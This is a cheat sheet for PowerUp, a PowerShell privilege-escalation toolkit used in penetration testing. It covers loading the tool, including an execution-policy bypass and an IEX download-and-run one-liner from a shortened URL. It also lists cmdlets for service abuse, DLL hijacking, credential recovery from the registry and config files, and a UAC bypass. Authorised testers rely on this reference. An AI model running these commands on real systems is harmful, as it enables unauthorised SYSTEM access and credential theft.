

PowerUp Cheat Sheet



Getting Started

Note: PowerUp's 'bleeding edge' will always be in the [development branch of PowerSploit](http://bit.ly/1PdJSHk).

Get PowerUp: <http://bit.ly/1PdJSHk>

Load from disk: 1) C:\> powershell -exec bypass 2) PS C:\> Import-Module PowerUp.ps1

Load from GitHub: PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdJSHK")

Load in Cobalt Strike's Beacon: beacon> powershell-import /local/path/to/PowerUp.ps1 , then beacon> powershell Invoke-AllChecks

Getting help: PS C:\> Get-Help Cmdlet-Name [-detailed] [-full]

Most PowerUp functions are implemented in Empire in `privesc/powerup/*`

Invoke-PrivescAudit (old Invoke-AllChecks) will run all current privilege escalation checks detailed in this guide and will output the appropriate abuse function syntax for anything found. The `-HTMLReport` flag will write out a HTML version of the report to `SYSTEM.username.html`.

Enumerating Service Vulnerabilities

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| Get-ModifiableService | Enumerates all services where the current user can modify the service binPath. |
| Get-ModifiableServiceFile | Enumerates all services where the current user can write to the associated service binary or its arguments. |
| Get-ServiceUnquoted | Enumerates all services w/ unquoted binary paths. |

Weaponizing Service Vulnerabilities

Invoke-ServiceAbuse abuses a vulnerable service's binPath to execute commands as SYSTEM.

Install-ServiceBinary installs a malicious C# binary for a specified service.

Both cmdlets accept the following parameters (as well as accepting a service names/service object from Get-Service on the pipeline):

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| Service name to abuse. | -Name SERVICE |
| The username to add (defaults to 'john'). Domain users are not created, only added to the LocalGroup. | -UserName '[DOMAIN]\USER' |
| The password for the added user (defaults to 'Password123!'). | -Password 'P@55Word' |
| The group to add the user to (default: 'Administrators'). | -LocalGroup "NAME" |
| Custom command to execute. | -Command "net..." |

Install-ServiceBinary backs up the original service path to `\orig_path.exe.bak`. **Restore-ServiceBinary** will restore this backup binary to its original path.

Set-ServiceBinPath can set a service's binPath without calling sc.exe.

DLL Hijacking

Find-PathDLLHijack checks if the current %PATH% has any directories that are writeable by the current user. Weaponizable for Windows 7 with **Write-HijackDll** and 'FOLDER\PATH\wlbsctrl.dll'.

Write-HijackDll writes out a self-deleting .bat file to `\hijackpath\debug.bat` that executes a command, and writes out a hijackable DLL that launches the .bat. It accepts the same `-UserName/-Password/-Command` arguments as **Invoke-ServiceAbuse** as well as:

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| Path to write the hijack DLL | -DllPath PATH\wlbsctrl.dll |
| Manual arch specification. | -Architecture [x64/x86] |
| Path of the .bat for the hijackable .dll to run. | -BatPath PATH\y.bat |

Registry Checks

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| Get-RegistryAlwaysInstall Elevated | Checks if the "AlwaysInstallElevated" key is set. This means that MSI installation packages always run as SYSTEM. |
| Get-RegistryAutoLogon | Returns any autologon credentials from various registry locations. |
| Get-ModifiableRegistryAutorun | Returns autoruns where the current user can modify the binary/script (or its config). |

Miscellaneous Checks

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| Get-UnattendedInstallFile | Checks for leftover unattend.xml files. |
| Get-Webconfig | Recovers cleartext and encrypted connection strings from all web.configs. Credit to Scott Sutherland . |
| Get-ProcessTokenPrivilege | Returns all privileges for the current (or specified) process. |
| Get-SiteListPassword | Searches for any McAfee SiteList.xml files and decrypts the contents. |

Helpers

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| Enable-Privilege | Enables a specific privilege for the current process. Available privileges can be found with Get-ProcessTokenPrivilege. |
| Get-CurrentUserTokenGroupSid | Returns all SIDs that the current user is a part of even if the SID is disabled. |
| Invoke-EventVwrBypass | Bypasses UAC by performing an image hijack on the .msc file extension. |

More Information

<http://www.harmj0y.net/blog/>